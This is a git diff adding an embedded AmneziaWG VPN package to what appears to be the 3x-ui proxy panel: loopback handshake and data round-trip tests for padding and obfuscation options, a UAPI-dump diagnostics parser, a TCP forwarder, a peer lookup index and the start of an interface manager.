+// ContentPaddingAddition fields: a genuine amneziawg-go client, configured
+// with matching header_protection_key/content_padding_addition UAPI lines
+// (S1-S4 all >= 12, the hard requirement amneziawg-go's own IpcSet enforces
+// for header protection), completes a real handshake against a Device built
+// via NewDevice/DeviceOptions and exchanges real application data both
+// directions through it. This is more than a handshake-completed check --
+// it also confirms actual payload bytes survive content padding on both the
+// send and receive sides, the specific area a third-party AmneziaWG
+// installer project's docs flagged a past interop concern for (see the
+// migration plan's own risk note); it is not a substitute for real-VPS
+// verification against the official client, but it is the cheapest
+// available local check against a regression in either engine's own padding
+// handling.
+func TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip(t *testing.T) {
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+ headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+ if err != nil {
+ t.Fatalf("generate header protection key: %v", err)
+ }
+
+ const listenPort = 58713 // fixed loopback test port, distinct from the handshake test above
+ const contentPaddingAddition = "20-40"
+
+ inst := amneziawg.Instance{
+ Id: 2,
+ InterfaceName: "awgtest2",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.202.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20, // all >= 12, required for header protection
+ },
+ Peers: []amneziawg.Peer{{
+ Email: "hp-peer@example.com",
+ PublicKey: clientPub,
+ AllowedIPs: []string{"10.202.0.2/32"},
+ }},
+ }
+
+ opts := DeviceOptions{
+ HeaderProtectionKey: headerProtectionKey,
+ ContentPaddingAddition: contentPaddingAddition,
+ }
+ dev, err := newUnconfiguredDevice(inst, opts)
+ if err != nil {
+ t.Fatalf("newUnconfiguredDevice: %v", err)
+ }
+ defer dev.Close()
+
+ const wantRequest = "hello from client"
+ const wantReply = "hello from server"
+ serverDone := make(chan error, 1)
+ AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+ defer conn.Close()
+ buf := make([]byte, len(wantRequest))
+ if _, err := io.ReadFull(conn, buf); err != nil {
+ serverDone <- fmt.Errorf("server read: %w", err)
+ return
+ }
+ if string(buf) != wantRequest {
+ serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
+ return
+ }
+ if _, err := conn.Write([]byte(wantReply)); err != nil {
+ serverDone <- fmt.Errorf("server write: %w", err)
+ return
+ }
+ serverDone <- nil
+ })
+
+ // Configure (IpcSet) must come after AttachTCPForwarder -- see
+ // newUnconfiguredDevice's doc comment.
+ if err := dev.Configure(inst, opts); err != nil {
+ t.Fatalf("Configure: %v", err)
+ }
+
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.202.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ headerProtectionKeyHex, err := wireguard.KeyToHex(headerProtectionKey)
+ if err != nil {
+ t.Fatalf("header protection key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\nheader_protection_key=%s\ncontent_padding_addition=%s\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, headerProtectionKeyHex, contentPaddingAddition, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ var conn net.Conn
+ for {
+ c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.202.9.9:9999")
+ if dialErr == nil {
+ conn = c
+ break
+ }
+ select {
+ case <-dialCtx.Done():
+ t.Fatalf("client dial never succeeded: %v", dialErr)
+ case <-time.After(100 * time.Millisecond):
+ }
+ }
+ defer conn.Close()
+
+ if _, err := conn.Write([]byte(wantRequest)); err != nil {
+ t.Fatalf("client write: %v", err)
+ }
+ if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
+ t.Fatalf("SetReadDeadline: %v", err)
+ }
+ reply := make([]byte, len(wantReply))
+ if _, err := io.ReadFull(conn, reply); err != nil {
+ t.Fatalf("client read reply: %v", err)
+ }
+ if string(reply) != wantReply {
+ t.Fatalf("client got reply %q, want %q", reply, wantReply)
+ }
+
+ select {
+ case err := <-serverDone:
+ if err != nil {
+ t.Fatalf("server side: %v", err)
+ }
+ case <-time.After(5 * time.Second):
+ t.Fatal("timed out waiting for the server side to finish")
+ }
+}
+
+func TestBuildUAPIConfigRandomTrailersAndDisableCookiesLines(t *testing.T) {
+ priv, _, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate keypair: %v", err)
+ }
+ inst := amneziawg.Instance{PrivateKey: priv}
+
+ // Unlike HeaderProtectionKey/ContentPaddingAddition, these two lines
+ // must always be present -- see DeviceOptions.RandomTrailers's own doc
+ // comment on why an absent line (instead of an explicit "false") would
+ // break the reconfigure-in-place diff for a true->false edit.
+ conf, err := buildUAPIConfig(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("buildUAPIConfig with empty options: %v", err)
+ }
+ if !strings.Contains(conf, "random_trailers=false\n") {
+ t.Errorf("expected an explicit random_trailers=false line even when unset, got:\n%s", conf)
+ }
+ if !strings.Contains(conf, "disable_cookies=false\n") {
+ t.Errorf("expected an explicit disable_cookies=false line even when unset, got:\n%s", conf)
+ }
+
+ conf, err = buildUAPIConfig(inst, DeviceOptions{RandomTrailers: true, DisableCookies: true})
+ if err != nil {
+ t.Fatalf("buildUAPIConfig with both enabled: %v", err)
+ }
+ if !strings.Contains(conf, "random_trailers=true\n") {
+ t.Errorf("expected a random_trailers=true line, got:\n%s", conf)
+ }
+ if !strings.Contains(conf, "disable_cookies=true\n") {
+ t.Errorf("expected a disable_cookies=true line, got:\n%s", conf)
+ }
+}
+
+// TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip is the real proof
+// behind AmneziaWG 3.1's two new device-wide toggles: a genuine amneziawg-go
+// client with matching random_trailers=true/disable_cookies=true UAPI lines
+// completes a real handshake against a Device built via NewDevice/
+// DeviceOptions and exchanges real application data both directions through
+// it. This specifically exercises amneziawg-go's receive.go size-matching
+// path for RandomTrailers (device_test.go's HeaderProtection test doesn't
+// enable it), which only accepts a message when
+// `size == expectedSize || randomTrailers && size > expectedSize` -- proof
+// that setting it on both ends really does interoperate, not just that
+// IpcSet accepts the value.
+func TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip(t *testing.T) {
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+
+ const listenPort = 58721 // fixed loopback test port, distinct from every other test in this package
+
+ inst := amneziawg.Instance{
+ Id: 3,
+ InterfaceName: "awgtest3",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.203.0.1/24"},
+ MTU: 1420,
+ Peers: []amneziawg.Peer{{
+ Email: "trailer-peer@example.com",
+ PublicKey: clientPub,
+ AllowedIPs: []string{"10.203.0.2/32"},
+ }},
+ }
+
+ opts := DeviceOptions{RandomTrailers: true, DisableCookies: true}
+ dev, err := newUnconfiguredDevice(inst, opts)
+ if err != nil {
+ t.Fatalf("newUnconfiguredDevice: %v", err)
+ }
+ defer dev.Close()
+
+ const wantRequest = "hello from client, with a trailer"
+ const wantReply = "hello from server, with a trailer"
+ serverDone := make(chan error, 1)
+ AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+ defer conn.Close()
+ buf := make([]byte, len(wantRequest))
+ if _, err := io.ReadFull(conn, buf); err != nil {
+ serverDone <- fmt.Errorf("server read: %w", err)
+ return
+ }
+ if string(buf) != wantRequest {
+ serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
+ return
+ }
+ if _, err := conn.Write([]byte(wantReply)); err != nil {
+ serverDone <- fmt.Errorf("server write: %w", err)
+ return
+ }
+ serverDone <- nil
+ })
+
+ // Configure (IpcSet) must come after AttachTCPForwarder -- see
+ // newUnconfiguredDevice's doc comment.
+ if err := dev.Configure(inst, opts); err != nil {
+ t.Fatalf("Configure: %v", err)
+ }
+
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.203.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\nrandom_trailers=true\ndisable_cookies=true\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ var conn net.Conn
+ for {
+ c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.203.9.9:9999")
+ if dialErr == nil {
+ conn = c
+ break
+ }
+ select {
+ case <-dialCtx.Done():
+ t.Fatalf("client dial never succeeded: %v", dialErr)
+ case <-time.After(100 * time.Millisecond):
+ }
+ }
+ defer conn.Close()
+
+ if _, err := conn.Write([]byte(wantRequest)); err != nil {
+ t.Fatalf("client write: %v", err)
+ }
+ if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
+ t.Fatalf("SetReadDeadline: %v", err)
+ }
+ reply := make([]byte, len(wantReply))
+ if _, err := io.ReadFull(conn, reply); err != nil {
+ t.Fatalf("client read reply: %v", err)
+ }
+ if string(reply) != wantReply {
+ t.Fatalf("client got reply %q, want %q", reply, wantReply)
+ }
+
+ select {
+ case err := <-serverDone:
+ if err != nil {
+ t.Fatalf("server side: %v", err)
+ }
+ case <-time.After(5 * time.Second):
+ t.Fatal("timed out waiting for the server side to finish")
+ }
+}
diff --git a/internal/amneziawgnet/diagnostics.go b/internal/amneziawgnet/diagnostics.go
new file mode 100644
index 000000000..91e269f60
--- /dev/null
+++ b/internal/amneziawgnet/diagnostics.go
@@ -0,0 +1,140 @@
+package amneziawgnet
+
+import (
+ "bufio"
+ "strconv"
+ "strings"
+ "time"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// ClientDiagnostic is one configured peer's live state, cross-referenced
+// from the running Device's own UAPI dump against the peer list the caller
+// supplies. A peer that has never handshaked still appears here (with a
+// zero LastHandshake) rather than being silently absent, so an admin can
+// tell "misconfigured client" apart from "client just hasn't connected".
+type ClientDiagnostic struct {
+ Email string
+ LastHandshake time.Time
+ RxBytes uint64
+ TxBytes uint64
+ Endpoint string
+ // AllowedIPs is comma-joined, from the running Device's own UAPI dump
+ // when it has ever handshaked (so a re-IP is reflected immediately);
+ // falls back to the peer's configured AllowedIPs otherwise.
+ AllowedIPs string
+}
+
+// Connected reports whether this client has ever completed a handshake.
+func (c ClientDiagnostic) Connected() bool {
+ return !c.LastHandshake.IsZero()
+}
+
+// Diagnostics is a read-only snapshot of one embedded AmneziaWG inbound's
+// live state. Gathering it can never itself change anything -- it only
+// reads the already-running Device's own UAPI dump, never writes to it.
+type Diagnostics struct {
+ Running bool
+ ListenPort int
+ Clients []ClientDiagnostic
+}
+
+// Diagnose builds a live snapshot for inbound id, cross-referenced against
+// peers (the inbound's currently configured client list -- the caller
+// supplies this since amneziawgnet has no DB access of its own). Running
+// stays false (with an empty Clients list) when there's no managed
+// instance for this id right now -- disabled, not yet reconciled, or never
+// started -- which is itself useful information for an admin, not an error.
+func Diagnose(id int, peers []amneziawg.Peer) Diagnostics {
+ dev, _, ok := GetManager().Lookup(id)
+ if !ok {
+ return Diagnostics{}
+ }
+ return diagnoseDevice(dev, peers)
+}
+
+func diagnoseDevice(dev *Device, peers []amneziawg.Peer) Diagnostics {
+ diag := Diagnostics{Running: true}
+
+ dump, err := dev.IpcGet()
+ if err != nil {
+ return diag
+ }
+ listenPort, states := parseUAPIDump(dump)
+ diag.ListenPort = listenPort
+
+ diag.Clients = make([]ClientDiagnostic, 0, len(peers))
+ for _, p := range peers {
+ hexKey, err := wireguard.KeyToHex(p.PublicKey)
+ if err != nil {
+ continue
+ }
+ st := states[hexKey]
+ cd := ClientDiagnostic{Email: p.Email, RxBytes: st.rxBytes, TxBytes: st.txBytes, Endpoint: st.endpoint}
+ if st.lastHandshakeSec > 0 {
+ cd.LastHandshake = time.Unix(st.lastHandshakeSec, 0)
+ }
+ if len(st.allowedIPs) > 0 {
+ cd.AllowedIPs = strings.Join(st.allowedIPs, ", ")
+ } else {
+ cd.AllowedIPs = strings.Join(p.AllowedIPs, ", ")
+ }
+ diag.Clients = append(diag.Clients, cd)
+ }
+ return diag
+}
+
+type peerUAPIState struct {
+ lastHandshakeSec int64
+ rxBytes, txBytes uint64
+ endpoint string
+ allowedIPs []string
+}
+
+// parseUAPIDump reads a Device.IpcGet() text dump: device-level keys first
+// (only listen_port matters here), then one block per peer starting with
+// its own public_key= line. Keyed by lowercase-hex public key, matching
+// the hex form IpcGet itself emits (see wireguard.KeyToHex for the same
+// base64-to-hex conversion applied to our own stored keys before lookup).
+func parseUAPIDump(dump string) (listenPort int, states map[string]peerUAPIState) {
+ states = make(map[string]peerUAPIState)
+ var current string
+
+ scanner := bufio.NewScanner(strings.NewReader(dump))
+ for scanner.Scan() {
+ key, value, ok := strings.Cut(scanner.Text(), "=")
+ if !ok {
+ continue
+ }
+ switch key {
+ case "listen_port":
+ listenPort, _ = strconv.Atoi(value)
+ case "public_key":
+ current = value
+ states[current] = peerUAPIState{}
+ case "last_handshake_time_sec":
+ st := states[current]
+ st.lastHandshakeSec, _ = strconv.ParseInt(value, 10, 64)
+ states[current] = st
+ case "rx_bytes":
+ st := states[current]
+ st.rxBytes, _ = strconv.ParseUint(value, 10, 64)
+ states[current] = st
+ case "tx_bytes":
+ st := states[current]
+ st.txBytes, _ = strconv.ParseUint(value, 10, 64)
+ states[current] = st
+ case "endpoint":
+ st := states[current]
+ st.endpoint = value
+ states[current] = st
+ case "allowed_ip":
+ st := states[current]
+ st.allowedIPs = append(st.allowedIPs, value)
+ states[current] = st
+ }
+ }
+ return listenPort, states
+}
diff --git a/internal/amneziawgnet/diagnostics_test.go b/internal/amneziawgnet/diagnostics_test.go
new file mode 100644
index 000000000..a70055a67
--- /dev/null
+++ b/internal/amneziawgnet/diagnostics_test.go
@@ -0,0 +1,196 @@
+package amneziawgnet
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net/netip"
+ "testing"
+ "time"
+
+ awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+func TestDiagnoseNoRunningInstance(t *testing.T) {
+ diag := Diagnose(99999, nil)
+ if diag.Running {
+ t.Error("Diagnose on an id with no managed Device should report Running=false")
+ }
+ if len(diag.Clients) != 0 {
+ t.Errorf("Clients = %v, want empty when nothing is running", diag.Clients)
+ }
+}
+
+// Real handshake + real TCP payload (mirrors
+// TestNewDeviceHandshakeForwarderAndIdentity's own setup), plus a second,
+// never-connected peer, so the test proves both states diagnoseDevice must
+// tell apart: a peer with a real handshake and traffic, and a configured
+// peer that simply hasn't shown up yet.
+func TestDiagnoseDeviceReportsListenPortAndPeerState(t *testing.T) {
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+ _, idlePub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate idle-peer keypair: %v", err)
+ }
+
+ const listenPort = 58713 // distinct from device_test.go's fixed port
+ const activeEmail = "active@example.com"
+ const idleEmail = "idle@example.com"
+
+ inst := amneziawg.Instance{
+ Id: 2,
+ InterfaceName: "awgtest2",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.202.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{
+ {Email: activeEmail, PublicKey: clientPub, AllowedIPs: []string{"10.202.0.2/32"}},
+ {Email: idleEmail, PublicKey: idlePub, AllowedIPs: []string{"10.202.0.3/32"}},
+ },
+ }
+
+ dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("newUnconfiguredDevice: %v", err)
+ }
+ defer dev.Close()
+
+ // Attach before Configure -- see newUnconfiguredDevice's doc comment.
+ // Registering the forwarder doesn't require any peer to be configured
+ // yet, so this ordering is free; it's Configure's IpcSet that must
+ // never run before the forwarder is registered.
+ AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, _ netip.AddrPort) {
+ defer conn.Close()
+ io.Copy(io.Discard, conn)
+ })
+
+ if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+ t.Fatalf("Configure: %v", err)
+ }
+
+ // diagnoseDevice must work before any client ever connects too: both
+ // peers configured, neither ever handshaked.
+ before := diagnoseDevice(dev, inst.Peers)
+ if !before.Running {
+ t.Fatal("Running = false for a Device that's actually up")
+ }
+ if before.ListenPort != listenPort {
+ t.Errorf("ListenPort = %d, want %d", before.ListenPort, listenPort)
+ }
+ if len(before.Clients) != 2 {
+ t.Fatalf("Clients count = %d, want 2 (before any handshake)", len(before.Clients))
+ }
+ for _, c := range before.Clients {
+ if c.Connected() {
+ t.Errorf("client %q reports Connected() before any real handshake", c.Email)
+ }
+ }
+
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.202.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ wantDest := netip.MustParseAddrPort("10.202.9.9:9999")
+ dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ var lastErr error
+ for {
+ conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
+ if dialErr == nil {
+ io.WriteString(conn, "diagnostics-test-payload")
+ conn.Close()
+ break
+ }
+ lastErr = dialErr
+ select {
+ case <-dialCtx.Done():
+ t.Fatalf("client dial never succeeded: %v", lastErr)
+ case <-time.After(100 * time.Millisecond):
+ }
+ }
+
+ // The handshake and byte counters update asynchronously with the dial
+ // returning; poll rather than sleeping a fixed guess.
+ deadline := time.Now().Add(5 * time.Second)
+ var after Diagnostics
+ for {
+ after = diagnoseDevice(dev, inst.Peers)
+ activeConnected := false
+ for _, c := range after.Clients {
+ if c.Email == activeEmail && c.Connected() {
+ activeConnected = true
+ }
+ }
+ if activeConnected || time.Now().After(deadline) {
+ break
+ }
+ time.Sleep(50 * time.Millisecond)
+ }
+
+ var active, idle *ClientDiagnostic
+ for i := range after.Clients {
+ switch after.Clients[i].Email {
+ case activeEmail:
+ active = &after.Clients[i]
+ case idleEmail:
+ idle = &after.Clients[i]
+ }
+ }
+ if active == nil || idle == nil {
+ t.Fatalf("expected both configured peers in Clients, got %v", after.Clients)
+ }
+ if !active.Connected() {
+ t.Error("active peer: Connected() = false after a real handshake + payload")
+ }
+ if active.RxBytes == 0 {
+ t.Error("active peer: RxBytes = 0 after a real client->server payload")
+ }
+ if idle.Connected() {
+ t.Error("idle peer: Connected() = true, but it never dialed anything")
+ }
+ if idle.RxBytes != 0 || idle.TxBytes != 0 {
+ t.Errorf("idle peer: RxBytes=%d TxBytes=%d, want both 0", idle.RxBytes, idle.TxBytes)
+ }
+}
diff --git a/internal/amneziawgnet/forwarder.go b/internal/amneziawgnet/forwarder.go
new file mode 100644
index 000000000..63c13496d
--- /dev/null
+++ b/internal/amneziawgnet/forwarder.go
@@ -0,0 +1,43 @@
+package amneziawgnet
+
+import (
+ "net/netip"
+
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+ "gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+ "gvisor.dev/gvisor/pkg/waiter"
+)
+
+// AttachTCPForwarder attaches a TCP forwarder to gstack in promiscuous +
+// spoofing mode, so it accepts connections addressed to any destination --
+// not just the stack's own configured local address -- and hands the
+// handler both the accepted connection and the tunnel client's real,
+// dynamically-arbitrary destination (recovered from the connection's own
+// TransportEndpointID, not from any preconfigured routing table). This is
+// the mechanism the whole embedded-AmneziaWG design depends on: what the
+// handler does with that destination (dial it directly, relay it into
+// Xray's SOCKS5 inbound, ...) is entirely up to the caller.
+//
+// Adapted from xtls/xray-core's proxy/wireguard/tun.go createForwarder (MIT).
+func AttachTCPForwarder(gstack *stack.Stack, handler func(conn *gonet.TCPConn, dest netip.AddrPort)) {
+ enablePromiscuousRouting(gstack)
+
+ fwd := tcp.NewForwarder(gstack, 0, 65535, func(r *tcp.ForwarderRequest) {
+ go func(r *tcp.ForwarderRequest) {
+ var wq waiter.Queue
+ id := r.ID()
+
+ ep, err := r.CreateEndpoint(&wq)
+ if err != nil {
+ r.Complete(true)
+ return
+ }
+ dest := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
+ handler(gonet.NewTCPConn(&wq, ep), dest)
+ ep.Close()
+ r.Complete(false)
+ }(r)
+ })
+ gstack.SetTransportProtocolHandler(tcp.ProtocolNumber, fwd.HandlePacket)
+}
diff --git a/internal/amneziawgnet/identity.go b/internal/amneziawgnet/identity.go
new file mode 100644
index 000000000..087774f00
--- /dev/null
+++ b/internal/amneziawgnet/identity.go
@@ -0,0 +1,62 @@
+package amneziawgnet
+
+import (
+ "net/netip"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+)
+
+// PeerIndex resolves a decapsulated connection's tunnel-internal source
+// address back to the peer it belongs to, the same role Xray-core's own
+// wireguard proxy's GetUserByAddr plays -- sourced here from an
+// amneziawg.Instance's own Peers (already carries Email per peer, no new
+// data needed) rather than a separate user table.
+type PeerIndex struct {
+ entries []peerIndexEntry
+}
+
+type peerIndexEntry struct {
+ prefix netip.Prefix
+ peer amneziawg.Peer
+}
+
+// NewPeerIndex builds a lookup index from peers' AllowedIPs. Entries with an
+// unparseable AllowedIPs value are skipped rather than failing the whole
+// index -- by the time an Instance reaches this package, AllowedIPs has
+// already been accepted at save time (see internal/amneziawg's own
+// validation), so a bad entry here would only mean stale/manually-edited
+// data, not something worth refusing to serve the rest of the peers over.
+func NewPeerIndex(peers []amneziawg.Peer) *PeerIndex {
+ idx := &PeerIndex{}
+ for _, p := range peers {
+ for _, a := range p.AllowedIPs {
+ prefix, err := netip.ParsePrefix(a)
+ if err != nil {
+ continue
+ }
+ idx.entries = append(idx.entries, peerIndexEntry{prefix: prefix, peer: p})
+ }
+ }
+ return idx
+}
+
+// Lookup returns the peer whose AllowedIPs most specifically contains addr --
+// the same longest-prefix-match rule a real AmneziaWG interface's own
+// AllowedIPs routing table uses for outbound packets, applied here in
+// reverse to attribute an inbound (tunnel-internal-source) packet back to
+// its owning peer.
+func (idx *PeerIndex) Lookup(addr netip.Addr) (amneziawg.Peer, bool) {
+ bestBits := -1
+ var bestPeer amneziawg.Peer
+ for _, e := range idx.entries {
+ if e.prefix.Bits() <= bestBits || !e.prefix.Contains(addr) {
+ continue
+ }
+ bestBits = e.prefix.Bits()
+ bestPeer = e.peer
+ }
+ if bestBits < 0 {
+ return amneziawg.Peer{}, false
+ }
+ return bestPeer, true
+}
diff --git a/internal/amneziawgnet/manager.go b/internal/amneziawgnet/manager.go
new file mode 100644
index 000000000..01bc8cceb
--- /dev/null
+++ b/internal/amneziawgnet/manager.go
@@ -0,0 +1,343 @@
+package amneziawgnet
+
+import (
+ "fmt"
+ "net/netip"
+ "os"
+ "strings"
+ "sync"
+
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// verboseLoggerIfEnabled returns a real amneziawg-go verbose logger (real
+// handshake/keepalive/decrypt-error diagnostics -- the device is otherwise
+// completely silent by design, see DeviceOptions' own doc comment) when the
+// AMNEZIAWGNET_DEBUG environment variable is set to any non-empty value,
+// nil otherwise (NewDevice's own default -- LogLevelSilent -- applies).
+// Deliberately opt-in and env-var-gated rather than a permanent log-level
+// setting: this device's own protocol-level logging has no per-peer
+// filtering, so enabling it on a busy real inbound would be noisy; it's
+// meant for exactly this kind of "why did this one handshake go quiet"
+// investigation on a low-traffic box.
+func verboseLoggerIfEnabled(inboundID int) *device.Logger {
+ if os.Getenv("AMNEZIAWGNET_DEBUG") == "" {
+ return nil
+ }
+ return device.NewLogger(device.LogLevelVerbose, fmt.Sprintf("(awg#%d) ", inboundID))
+}
+
+// Desired pairs an amneziawg.Instance (the shared, DB-backed shape) with
+// this package's embedded-only DeviceOptions -- see DeviceOptions' doc.
+type Desired struct {
+ Instance amneziawg.Instance
+ Options DeviceOptions
+}
+
+// managed is one running embedded interface: the live Device, its UDP relay
+// sessions, its open per-client port-forward listeners, the peer lookup
+// index built from its current peer list, and enough of its own
+// configuration to decide whether a later Ensure call can reconfigure it in
+// place or needs to rebuild it from scratch.
+type managed struct {
+ dev *Device
+ udpRelay *UDPRelay
+ portForwards *PortForwardSet
+ peers *PeerIndex
+ inst amneziawg.Instance
+ structFP string
+ uapiConfig string
+}
+
+// Manager owns the set of running embedded AmneziaWG interfaces, keyed by
+// inbound id -- the same shape as internal/mtproto.Manager (GetManager()
+// + sync.Once, mu-guarded map, Ensure/Reconcile/StopAll/HasRunning), so a
+// caller already familiar with that Manager needs to learn nothing new here.
+// Every Device this Manager builds gets its TCP forwarder and UDP handler
+// attached automatically (see ensureLocked), relaying into that instance's
+// own loopback SOCKS5 inbound (SOCKSPortForInbound/SocksPassword) -- a
+// caller only needs to keep calling Ensure/Reconcile with fresh Instance
+// data; it doesn't need to know relay.go exists at all.
+type Manager struct {
+ mu sync.Mutex
+ ifaces map[int]*managed
+}
+
+var (
+ managerOnce sync.Once
+ manager *Manager
+)
+
+// GetManager returns the process-wide embedded-AmneziaWG manager singleton.
+func GetManager() *Manager {
+ managerOnce.Do(func() {
+ manager = &Manager{ifaces: map[int]*managed{}}
+ })
+ return manager
+}
+
+// Ensure brings inbound d.Instance.Id's embedded interface to the state
+// d describes, creating it if it doesn't exist yet. A no-op only when
+// nothing has changed since the last successful Ensure/Reconcile.
+func (m *Manager) Ensure(d Desired) error {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ return m.ensureLocked(d)
+}
+
